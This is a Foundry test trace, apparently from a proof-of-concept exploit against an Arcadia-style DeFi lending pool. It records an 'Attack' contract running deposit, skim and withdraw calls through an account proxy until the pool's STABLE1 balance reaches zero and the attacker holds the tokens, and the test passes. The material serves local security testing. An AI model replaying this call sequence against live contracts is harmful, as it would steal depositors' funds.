    │   │   │   │   │   │   │   ├─ [5943] Standard ERC20 Asset Module::getValue(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 500000000000000000 [5e17]) [staticcall]
    │   │   │   │   │   │   │   │   ├─ [4175] Registry::getRateInUsd(0x0000000000000000000000000000000000000000000000000000000000000005) [staticcall]
    │   │   │   │   │   │   │   │   │   ├─ [2463] Chainlink Oracle Module::getRate(0) [staticcall]
    │   │   │   │   │   │   │   │   │   │   ├─ [860] ArcadiaOracle::latestRoundData() [staticcall]
    │   │   │   │   │   │   │   │   │   │   │   └─ ← 1, 1000000000000000000 [1e18], 172800 [1.728e5], 172800 [1.728e5], 1
    │   │   │   │   │   │   │   │   │   │   └─ ← 1000000000000000000 [1e18]
    │   │   │   │   │   │   │   │   │   └─ ← 1000000000000000000 [1e18]
    │   │   │   │   │   │   │   │   └─ ← 500000000000000000000000000000 [5e29], 10000 [1e4], 10000 [1e4]
    │   │   │   │   │   │   │   ├─ [5943] Standard ERC20 Asset Module::getValue(0x0000000000000000000000000000000000000000, STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 1000000000000000000 [1e18]) [staticcall]
    │   │   │   │   │   │   │   │   ├─ [4175] Registry::getRateInUsd(0x0000000000000000000000000000000000000000000000000000000000000005) [staticcall]
    │   │   │   │   │   │   │   │   │   ├─ [2463] Chainlink Oracle Module::getRate(0) [staticcall]
    │   │   │   │   │   │   │   │   │   │   ├─ [860] ArcadiaOracle::latestRoundData() [staticcall]
    │   │   │   │   │   │   │   │   │   │   │   └─ ← 1, 1000000000000000000 [1e18], 172800 [1.728e5], 172800 [1.728e5], 1
    │   │   │   │   │   │   │   │   │   │   └─ ← 1000000000000000000 [1e18]
    │   │   │   │   │   │   │   │   │   └─ ← 1000000000000000000 [1e18]
    │   │   │   │   │   │   │   │   └─ ← 1000000000000000000000000000000 [1e30], 0, 0
    │   │   │   │   │   │   │   └─ ← 500000000000000000 [5e17]
    │   │   │   │   │   │   └─ ← ()
    │   │   │   │   │   └─ ← ()
    │   │   │   │   ├─ [2789] Proxy::skim(STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 0)
    │   │   │   │   │   ├─ [2432] Account V1 Logic::skim(STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 0) [delegatecall]
    │   │   │   │   │   │   ├─ [561] STABLE1::balanceOf(Proxy: [0xc9F7fa49C1981fcb70E655E150B3d134987f576c]) [staticcall]
    │   │   │   │   │   │   │   └─ ← 500000000000000000 [5e17]
    │   │   │   │   │   │   └─ ← ()
    │   │   │   │   │   └─ ← ()
    │   │   │   │   ├─ [2543] STABLE1::approve(Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   │   │   │   │   ├─ emit Approval(owner: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], spender: Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e], amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
    │   │   │   │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   │   │   │   ├─ [561] STABLE1::balanceOf(Proxy: [0xc9F7fa49C1981fcb70E655E150B3d134987f576c]) [staticcall]
    │   │   │   │   │   └─ ← 500000000000000000 [5e17]
    │   │   │   │   └─ ← ActionData({ assets: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], assetIds: [0], assetAmounts: [1000000000000000000 [1e18]], assetTypes: [0] })
    │   │   │   ├─ [6851] Registry::batchProcessDeposit(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], [0], [1000000000000000000 [1e18]])
    │   │   │   │   ├─ [619] Factory::isAccount(Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e]) [staticcall]
    │   │   │   │   │   └─ ← true
    │   │   │   │   ├─ [1493] Standard ERC20 Asset Module::processDirectDeposit(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 1000000000000000000 [1e18])
    │   │   │   │   │   └─ ← 1, 0
    │   │   │   │   ├─ emit Deposit(account: Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e])
    │   │   │   │   └─ ← [0]
    │   │   │   ├─ [23273] STABLE1::transferFrom(Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e], 1000000000000000000 [1e18])
    │   │   │   │   ├─ emit Transfer(from: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], to: Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e], amount: 1000000000000000000 [1e18])
    │   │   │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   │   │   ├─ [1294] Lending Pool::getOpenPosition(Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e]) [staticcall]
    │   │   │   │   └─ ← 500000000000000000 [5e17]
    │   │   │   ├─ [20676] Registry::getCollateralValue(STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], [0], [1000000000000000000 [1e18]]) [staticcall]
    │   │   │   │   ├─ [700] SequencerUptimeOracle::latestRoundData() [staticcall]
    │   │   │   │   │   └─ ← 0, 0, 0, 0, 0
    │   │   │   │   ├─ [700] SequencerUptimeOracle::latestRoundData() [staticcall]
    │   │   │   │   │   └─ ← 0, 0, 0, 0, 0
    │   │   │   │   ├─ [5943] Standard ERC20 Asset Module::getValue(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 1000000000000000000 [1e18]) [staticcall]
    │   │   │   │   │   ├─ [4175] Registry::getRateInUsd(0x0000000000000000000000000000000000000000000000000000000000000005) [staticcall]
    │   │   │   │   │   │   ├─ [2463] Chainlink Oracle Module::getRate(0) [staticcall]
    │   │   │   │   │   │   │   ├─ [860] ArcadiaOracle::latestRoundData() [staticcall]
    │   │   │   │   │   │   │   │   └─ ← 1, 1000000000000000000 [1e18], 172800 [1.728e5], 172800 [1.728e5], 1
    │   │   │   │   │   │   │   └─ ← 1000000000000000000 [1e18]
    │   │   │   │   │   │   └─ ← 1000000000000000000 [1e18]
    │   │   │   │   │   └─ ← 1000000000000000000000000000000 [1e30], 10000 [1e4], 10000 [1e4]
    │   │   │   │   ├─ [5943] Standard ERC20 Asset Module::getValue(0x0000000000000000000000000000000000000000, STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 1000000000000000000 [1e18]) [staticcall]
    │   │   │   │   │   ├─ [4175] Registry::getRateInUsd(0x0000000000000000000000000000000000000000000000000000000000000005) [staticcall]
    │   │   │   │   │   │   ├─ [2463] Chainlink Oracle Module::getRate(0) [staticcall]
    │   │   │   │   │   │   │   ├─ [860] ArcadiaOracle::latestRoundData() [staticcall]
    │   │   │   │   │   │   │   │   └─ ← 1, 1000000000000000000 [1e18], 172800 [1.728e5], 172800 [1.728e5], 1
    │   │   │   │   │   │   │   └─ ← 1000000000000000000 [1e18]
    │   │   │   │   │   │   └─ ← 1000000000000000000 [1e18]
    │   │   │   │   │   └─ ← 1000000000000000000000000000000 [1e30], 0, 0
    │   │   │   │   └─ ← 1000000000000000000 [1e18]
    │   │   │   └─ ← ()
    │   │   └─ ← ()
    │   ├─ [42242] Proxy::withdraw([0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], [0], [500000000000000000 [5e17]])
    │   │   ├─ [41849] Account V1 Logic::withdraw([0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], [0], [500000000000000000 [5e17]]) [delegatecall]
    │   │   │   ├─ [6441] Registry::batchProcessWithdrawal(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], [0], [500000000000000000 [5e17]])
    │   │   │   │   ├─ [619] Factory::isAccount(Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e]) [staticcall]
    │   │   │   │   │   └─ ← true
    │   │   │   │   ├─ [1318] Standard ERC20 Asset Module::processDirectWithdrawal(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 500000000000000000 [5e17])
    │   │   │   │   │   └─ ← 0
    │   │   │   │   ├─ emit Withdrawal(account: Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e])
    │   │   │   │   └─ ← [0]
    │   │   │   ├─ [2980] STABLE1::transfer(Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], 500000000000000000 [5e17])
    │   │   │   │   ├─ emit Transfer(from: Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e], to: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], amount: 500000000000000000 [5e17])
    │   │   │   │   └─ ← true
    │   │   │   ├─ [1294] Lending Pool::getOpenPosition(Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e]) [staticcall]
    │   │   │   │   └─ ← 500000000000000000 [5e17]
    │   │   │   ├─ [20676] Registry::getCollateralValue(STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], [0], [500000000000000000 [5e17]]) [staticcall]
    │   │   │   │   ├─ [700] SequencerUptimeOracle::latestRoundData() [staticcall]
    │   │   │   │   │   └─ ← 0, 0, 0, 0, 0
    │   │   │   │   ├─ [700] SequencerUptimeOracle::latestRoundData() [staticcall]
    │   │   │   │   │   └─ ← 0, 0, 0, 0, 0
    │   │   │   │   ├─ [5943] Standard ERC20 Asset Module::getValue(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 500000000000000000 [5e17]) [staticcall]
    │   │   │   │   │   ├─ [4175] Registry::getRateInUsd(0x0000000000000000000000000000000000000000000000000000000000000005) [staticcall]
    │   │   │   │   │   │   ├─ [2463] Chainlink Oracle Module::getRate(0) [staticcall]
    │   │   │   │   │   │   │   ├─ [860] ArcadiaOracle::latestRoundData() [staticcall]
    │   │   │   │   │   │   │   │   └─ ← 1, 1000000000000000000 [1e18], 172800 [1.728e5], 172800 [1.728e5], 1
    │   │   │   │   │   │   │   └─ ← 1000000000000000000 [1e18]
    │   │   │   │   │   │   └─ ← 1000000000000000000 [1e18]
    │   │   │   │   │   └─ ← 500000000000000000000000000000 [5e29], 10000 [1e4], 10000 [1e4]
    │   │   │   │   ├─ [5943] Standard ERC20 Asset Module::getValue(0x0000000000000000000000000000000000000000, STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 1000000000000000000 [1e18]) [staticcall]
    │   │   │   │   │   ├─ [4175] Registry::getRateInUsd(0x0000000000000000000000000000000000000000000000000000000000000005) [staticcall]
    │   │   │   │   │   │   ├─ [2463] Chainlink Oracle Module::getRate(0) [staticcall]
    │   │   │   │   │   │   │   ├─ [860] ArcadiaOracle::latestRoundData() [staticcall]
    │   │   │   │   │   │   │   │   └─ ← 1, 1000000000000000000 [1e18], 172800 [1.728e5], 172800 [1.728e5], 1
    │   │   │   │   │   │   │   └─ ← 1000000000000000000 [1e18]
    │   │   │   │   │   │   └─ ← 1000000000000000000 [1e18]
    │   │   │   │   │   └─ ← 1000000000000000000000000000000 [1e30], 0, 0
    │   │   │   │   └─ ← 500000000000000000 [5e17]
    │   │   │   └─ ← ()
    │   │   └─ ← ()
    │   ├─ [2789] Proxy::skim(STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 0)
    │   │   ├─ [2432] Account V1 Logic::skim(STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 0) [delegatecall]
    │   │   │   ├─ [561] STABLE1::balanceOf(Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e]) [staticcall]
    │   │   │   │   └─ ← 500000000000000000 [5e17]
    │   │   │   └─ ← ()
    │   │   └─ ← ()
    │   ├─ [561] STABLE1::balanceOf(Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e]) [staticcall]
    │   │   └─ ← 500000000000000000 [5e17]
    │   └─ ← ()
    ├─ [561] STABLE1::balanceOf(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236]) [staticcall]
    │   └─ ← 0
    ├─ [561] STABLE1::balanceOf(Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b]) [staticcall]
    │   └─ ← 1000000000000000000 [1e18]
    ├─ [0] VM::stopPrank()
    │   └─ ← ()
    └─ ← ()

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 14.88ms

Ran 1 test suite in 14.88ms: 1 tests passed, 0 failed, 0 skipped (1 total tests)